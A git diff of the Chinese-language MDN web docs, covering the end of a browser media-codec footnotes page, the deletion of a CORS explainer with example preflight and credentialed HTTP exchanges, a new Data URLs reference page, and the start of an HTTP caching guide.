[29] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[30] AAC is only supported in the MP4 container. To get the default Android browser to play H.264 video, you need to jump through some hoops, as explained by Peter Gasston.

- -

[31] In Firefox OS 1.0.1, when detecting <video> support for different formats, HTMLMediaElement.prototype.canPlayType incorrectly reports true for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed. AAC is only supported in the MP4 container.
- To avoid patent issues, support for MPEG 4, H.264 and ACC is not built directly into Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[32] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats. AAC is only supported in the MP4 container.

- -

[33] To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[34] To avoid patent issues, support for MPEG 4, H.264 and ACC is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[35] VP8/VP9 video codecs are only available in MSE when H.264 hardware decoders are not available. Checking for availability via MediaSource.isTypeSupported() is recommended.

- -

[36] Starting in Firefox 46, when attempting to initiate a WebRTC call using {{domxref("RTCPeerConnection.createOffer()")}} uses VP9 by default; in the past, VP8 was the default video format.

- -

See also

- - diff --git a/files/zh-cn/web/http/access_control_cors/index.html b/files/zh-cn/web/http/access_control_cors/index.html deleted file mode 100644 index c7acc1344d..0000000000 --- a/files/zh-cn/web/http/access_control_cors/index.html +++ /dev/null @@ -1,510 +0,0 @@ ---- -title: 跨源资源共享(CORS) -slug: Web/HTTP/Access_control_CORS -tags: - - AJAX - - CORS - - Cross-Origin Resource Sharing - - Fetch - - Fetch API - - HTTP - - HTTP Access Controls - - Same-origin policy - - Security - - XMLHttpRequest - - 'l10n:priority' -translation_of: Web/HTTP/CORS ---- -
{{HTTPSidebar}}
- -

跨源资源共享 ({{Glossary("CORS")}}) (或通俗地译为跨域资源共享)是一种基于{{Glossary("HTTP")}} 头的机制,该机制通过允许服务器标示除了它自己以外的其它{{glossary("origin")}}(域,协议和端口),这样浏览器可以访问加载这些资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有HTTP方法和真实请求中会用到的头。

- -

跨源HTTP请求的一个例子:运行在 http://domain-a.com 的JavaScript代码使用{{domxref("XMLHttpRequest")}}来发起一个到 https://domain-b.com/data.json 的请求。

- -

出于安全性,浏览器限制脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

- -

- -

跨源域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 Fetch )使用 CORS,以降低跨源 HTTP 请求所带来的风险。

- -

谁应该读这篇文章?

- -

说实话,每个人。

- -

更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨源资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 cross-origin sharing from a server perspective (with PHP code snippets)

- -

什么情况下需要 CORS ?

- -

这份 cross-origin sharing standard 允许在下列场景中使用跨站点 HTTP 请求:

- - - -

本文概述了跨源资源共享机制及其所涉及的 HTTP 头。

- -

功能概述

- -

跨源资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

- -

CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

- -

接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。

- -

若干访问控制场景

- -

这里,我们使用三个场景来解释跨源资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。

- -

本文中的 JavaScript 代码片段都可以从 http://arunranga.com/examples/access-control/ 获得。另外,使用支持跨源  {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。

- -

关于服务端对跨源资源共享的支持的讨论,请参见这篇文章: Server-Side_Access_Control (CORS)

- -

简单请求

- -

某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:

- -
    -
  • 使用下列方法之一: -
      -
    • {{HTTPMethod("GET")}}
    • -
    • {{HTTPMethod("HEAD")}}
    • -
    • {{HTTPMethod("POST")}}
    • -
    -
  • -
  • 除了被用户代理自动设置的首部字段(例如 {{HTTPHeader("Connection")}} ,{{HTTPHeader("User-Agent")}})和在 Fetch 规范中定义为 禁用首部名称 的其他首部,允许人为设置的字段为 Fetch 规范定义的 对 CORS 安全的首部字段集合。该集合为: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • -
    • DPR
    • -
    • Downlink
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  • {{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: -
      -
    • text/plain
    • -
    • multipart/form-data
    • -
    • application/x-www-form-urlencoded
    • -
    -
  • -
  • 请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。
  • -
  • 请求中没有使用 {{domxref("ReadableStream")}} 对象。
  • -
- -
注意: 这些跨站点请求与浏览器发出的其他跨站点请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨站点请求的网站无需为这一新的 HTTP 访问控制特性担心。
- -
注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。
- -

比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/public-data/';
-
-function callOtherDomain() {
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
-
- -

客户端和服务器之间使用 CORS 首部字段来处理权限:

- -

- -

分别检视请求报文和响应报文:

- -
GET /resources/public-data/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
-Origin: http://foo.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-
- -

第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 http://foo.example

- -

第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:

- -

Access-Control-Allow-Origin: http://foo.example

- -

现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。Access-Control-Allow-Origin 应当为 * 或者包含由 Origin 首部字段所指明的域名。

- -

预检请求

- -

与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}}   方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

- -

如下是一个需要执行预检请求的 HTTP 请求:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/post-here/';
-var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
-
-function callOtherDomain(){
-  if(invocation)
-    {
-      invocation.open('POST', url, true);
-      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
-      invocation.setRequestHeader('Content-Type', 'application/xml');
-      invocation.onreadystatechange = handler;
-      invocation.send(body);
-    }
-}
-
-......
-
- -

上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。

- -

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
- -

预检请求完成之后,发送实际请求:

- -
POST /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://foo.example/examples/preflightInvocation.html
-Content-Length: 55
-Origin: http://foo.example
-Pragma: no-cache
-Cache-Control: no-cache
-
-<?xml version="1.0"?><person><name>Arun</name></person>
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
-
-[Some GZIP'd payload]
- -

浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 OPTIONS 方法的“预检请求”。 OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:

- -
Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
- -

首部字段 {{HTTPHeader("Access-Control-Request-Method")}} 告知服务器,实际请求将使用 POST 方法。首部字段 {{HTTPHeader("Access-Control-Request-Headers")}} 告知服务器,实际请求将携带两个自定义请求首部字段:X-PINGOTHERContent-Type。服务器据此决定,该实际请求是否被允许。

- -

第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:

- -
Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
- -

首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用 POST, GET OPTIONS 方法发起请求。该字段与 HTTP/1.1 Allow: response header 类似,但仅限于在需要访问控制的场景中使用。

- -

首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 X-PINGOTHER Content-Type Access-Control-Allow-Methods 一样,Access-Control-Allow-Headers 的值为逗号分割的列表。

- -

最后,首部字段 Access-Control-Max-Age 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。

- -

预检请求与重定向

- -

大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:

- -
-

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

-
- -
-

Request requires preflight, which is disallowed to follow cross-origin redirect

-
- -

CORS 最初要求该行为,不过在后续的修订中废弃了这一要求

- -

在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:

- -
    -
  • 在服务端去掉对预检请求的重定向;
  • -
  • 将实际请求变成一个简单请求。
  • -
- -

如果上面两种方式难以做到,我们仍有其他办法:

- - - -

不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。

- -

附带身份凭证的请求

- -

{{domxref("XMLHttpRequest")}} 或 Fetch 与 CORS 的一个有趣的特性是,可以基于  HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨源 {{domxref("XMLHttpRequest")}} 或 Fetch 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。

- -

本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/credentialed-content/';
-
-function callOtherDomain(){
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.withCredentials = true;
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
- -

第 7 行将 XMLHttpRequest 的 withCredentials 标志设置为 true,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。

- -

- -

客户端与服务器端交互示例如下:

- -
GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Connection: keep-alive
-Referer: http://foo.example/examples/credential.html
-Origin: http://foo.example
-Cookie: pageAccess=2
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
-
-[text/plain payload]
- -

即使第 10 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true(第 17 行),则响应内容不会返回给请求的发起者。

- -

附带身份凭证的请求与通配符

- -

对于附带身份凭证的请求,服务器不得设置 Access-Control-Allow-Origin 的值为“*”。

- -

这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 http://foo.example,则请求将成功执行。

- -

另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。

- -

第三方 cookies

- -

注意在 CORS 响应中设置的 cookies 适用一般性第三方 cookie 策略。在上面的例子中,页面是在 `foo.example` 加载,但是第 20 行的 cookie 是被 `bar.other` 发送的,如果用户设置其浏览器拒绝所有第三方 cookies,那么将不会被保存。

- -

HTTP 响应首部字段

- -

本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。

- -

Access-Control-Allow-Origin

- -

响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:

- -
Access-Control-Allow-Origin: <origin> | *
-
- -

其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。

- -

例如,下面的字段值将允许来自 http://mozilla.com 的请求:

- -
Access-Control-Allow-Origin: http://mozilla.com
- -

如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。

- -

Access-Control-Expose-Headers

- -

译者注:在跨源访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。

- -

{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:

- -
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
-
- -

这样浏览器就能够通过getResponseHeader访问X-My-Custom-Header和 X-Another-Custom-Header 响应头了。

- -

Access-Control-Max-Age

- -

{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。

- -
Access-Control-Max-Age: <delta-seconds>
-
- -

delta-seconds 参数表示preflight请求的结果在多少秒内有效。

- -

Access-Control-Allow-Credentials

- -

{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。

- -
Access-Control-Allow-Credentials: true
-
- -

上文已经讨论了附带身份凭证的请求

- -

Access-Control-Allow-Methods

- -

{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。

- -
Access-Control-Allow-Methods: <method>[, <method>]*
-
- -

相关示例见这里

- -

Access-Control-Allow-Headers

- -

{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。

- -
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
-
- -

HTTP 请求首部字段

- -

本节列出了可用于发起跨源请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨源请求时,它们已经被设置就绪。

- -

Origin

- -

{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。

- -
Origin: <origin>
-
- -

origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。

- -
Note: 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。
- -

注意,在所有访问控制请求(Access control request)中,{{HTTPHeader("Origin")}} 首部字段总是被发送。

- -

Access-Control-Request-Method

- -

{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。

- -
Access-Control-Request-Method: <method>
-
- -

相关示例见这里

- -

Access-Control-Request-Headers

- -

{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。

- -
Access-Control-Request-Headers: <field-name>[, <field-name>]*
-
- -

相关示例见这里

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants CORS specification.
{{SpecName('CORS')}}{{Spec2('CORS')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

- -

- -
    -
  • IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。
  • -
  • Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨源支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨源支持;Firefox 9 引入了对 drawImage 的跨源支持。
  • -
- -

参见

- - - -

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git a/files/zh-cn/web/http/basics_of_http/data_uris/index.html b/files/zh-cn/web/http/basics_of_http/data_uris/index.html new file mode 100644 index 0000000000..5153482967 --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/data_uris/index.html @@ -0,0 +1,116 @@ +--- +title: Data URLs +slug: Web/HTTP/data_URIs +tags: + - Base64 + - HTTP + - URL + - 教程 + - 进阶 +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +
{{HTTPSidebar}}
+ +

Data URLs,即前缀为 data: 协议的URL,其允许内容创建者向文档中嵌入小文件。

+ +

语法

+ +

Data URLs 由四个部分组成:前缀(data:)、指示数据类型的MIME类型、如果非文本则为可选的base64标记、数据本身:

+ +
data:[<mediatype>][;base64],<data>
+
+ +

mediatype 是个 MIME 类型的字符串,例如 "image/jpeg" 表示 JPEG 图像文件。如果被省略,则默认值为 text/plain;charset=US-ASCII

+ +

如果数据是文本类型,你可以直接将文本嵌入 (根据文档类型,使用合适的实体字符或转义字符)。如果是二进制数据,你可以将数据进行base64编码之后再进行嵌入。

+ +

下面是一些示例:

+ +
+
data:,Hello%2C%20World!
+
简单的 text/plain 类型数据
+
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
+
上一条示例的 base64 编码版本
+
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
+
一个HTML文档源代码 <h1>Hello, World</h1>
+
data:text/html,<script>alert('hi');</script>
+
一个会执行 JavaScript alert 的 HTML 文档。注意 script 标签必须封闭。
+
+ +

给数据作 base64 编码

+ +

在Linux或者Mac OS系统上,你可以使用 uuencode 命令行工具来简单实现编码:

+ +
uuencode -m infile remotename
+
+ +

infile 参数表示要作 base64编码的文件名称,remotename 参数表示输出的文件名称, 实际上并没有在 data 方案的URLs 中使用。

+ +

输出结果如下:

+ +
begin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+
+ +

以上 Data URL 会使用位于首行之后的编码后的数据

+ +

在网页上使用 JavaScript

+ +

Web APIs 已经有对 base64 进行编码解码的方法: Base64 encoding and decoding.

+ +

常见问题

+ +

下文介绍一些在使用data URIs时遇到的常见问题:

+ +
+
语法
+
data URLs 的格式很简单,但很容易会忘记把逗号加在 "data" 协议名后面,在对数据进行 base64 编码时也很容易发生错误。
+
HTML代码格式化
+
一个 data URL 是一个文件中的文件,相对于文档来说这个文件可能就非常的长。因为 data URL 也是 URL,所以 data 会用空白符(换行符, 制表符, 空格)来对它进行格式化。但如果数据是经过 base64 编码的,就可能会遇到一些问题
+
长度限制
+
虽然 Firefox 支持无限长度的 data URLs,但是标准中并没有规定浏览器必须支持任意长度的 data URIs。比如,Opera 11浏览器限制 URLs 最长为 65535 个字符,这意味着 data URLs 最长为 65529 个字符(如果你使用纯文本 data:, 而不是指定一个 MIME 类型的话,那么 65529 字符长度是编码后的长度,而不是源文件)。
+
缺乏错误处理
+
MIME类型错误或者base64编码错误,都会造成data URIs无法被正常解析, 但不会有任何相关错误提示.
+
不支持查询字符串
+
+

一个data URI的数据字段是没有结束标记的,所以尝试在一个data URI后面添加查询字符串会导致,查询字符串也一并被当作数据字段.例如:

+ +
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
+
+ +

这个 data URL 代表的 HTML 源文件内容为:

+ +
lots of text...<p><a name="bottom">bottom</a>?arg=val
+
+
+
+ +

浏览器兼容性

+ +

{{compat("http.data-url")}}

+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("2397")}}The "data" URL scheme
+ +

相关链接

+ + diff --git a/files/zh-cn/web/http/caching/index.html b/files/zh-cn/web/http/caching/index.html new file mode 100644 index 0000000000..3bf85cb945 --- /dev/null +++ b/files/zh-cn/web/http/caching/index.html @@ -0,0 +1,163 @@ +--- +title: HTTP 缓存 +slug: Web/HTTP/Caching_FAQ +tags: + - Cache-Control + - ETag + - Expires + - HTTP + - HTTP Cache + - Last-Modified + - 协商缓存 + - 强缓存 + - 指南 + - 缓存 +translation_of: Web/HTTP/Caching +--- +
{{HTTPSidebar}}
+ +

通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP缓存,变得更加响应性。

+ +

不同种类的缓存

+ +

缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。这样带来的好处有:缓解服务器端压力,提升性能(获取资源的耗时更短了)。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。

+ +

缓存的种类有很多,其大致可归为两类:私有与共享缓存。共享缓存存储的响应能够被多个用户使用。私有缓存只能用于单独用户。本文将主要介绍浏览器与代理缓存,除此之外还有网关缓存、CDN、反向代理缓存和负载均衡器等部署在服务器上的缓存方式,为站点和 web 应用提供更好的稳定性、性能和扩展性。

+ +

What a cache provide, advantages/disadvantages of shared/private caches.

+ +

(私有)浏览器缓存

+ +

私有缓存只能用于单独用户。你可能已经见过浏览器设置中的“缓存”选项。浏览器缓存拥有用户通过 HTTP 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。

+ +

(共享)代理缓存

+ +

共享缓存可以被多个用户使用。例如,ISP 或你所在的公司可能会架设一个 web 代理来作为本地网络基础的一部分提供给用户。这样热门的资源就会被重复使用,减少网络拥堵与延迟。

+ +

缓存操作的目标

+ +

虽然 HTTP 缓存不是必须的,但重用缓存的资源通常是必要的。然而常见的 HTTP 缓存只能存储 {{HTTPMethod("GET")}} 响应,对于其他类型的响应则无能为力。缓存的关键主要包括request method和目标URI(一般只有GET请求才会被缓存)。 普遍的缓存案例:

+ +
    +
  • 一个检索请求的成功响应: 对于 {{HTTPMethod("GET")}}请求,响应状态码为:{{HTTPStatus(200)}},则表示为成功。一个包含例如HTML文档,图片,或者文件的响应。
  • +
  • 永久重定向: 响应状态码:{{HTTPStatus(301)}}。
  • +
  • 错误响应: 响应状态码:{{HTTPStatus(404)}} 的一个页面。
  • +
  • 不完全的响应: 响应状态码 {{HTTPStatus(206)}},只返回局部的信息。
  • +
  • 除了 {{HTTPMethod("GET")}} 请求外,如果匹配到作为一个已被定义的cache键名的响应。
  • +
+ +

针对一些特定的请求,也可以通过关键字区分多个存储的不同响应以组成缓存的内容。具体参考下文关于 {{HTTPHeader("Vary")}} 的信息。

+ +

缓存控制

+ +

Cache-control

+ +

HTTP/1.1定义的 {{HTTPHeader("Cache-Control")}} 头用来区分对缓存机制的支持情况, 请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。

+ +

没有缓存

+ +

缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。

+ +
Cache-Control: no-store
+ +

缓存但重新验证

+ +

如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回304),则缓存才使用本地缓存副本。

+ +
Cache-Control: no-cache
+ +

私有和公共缓存

+ +

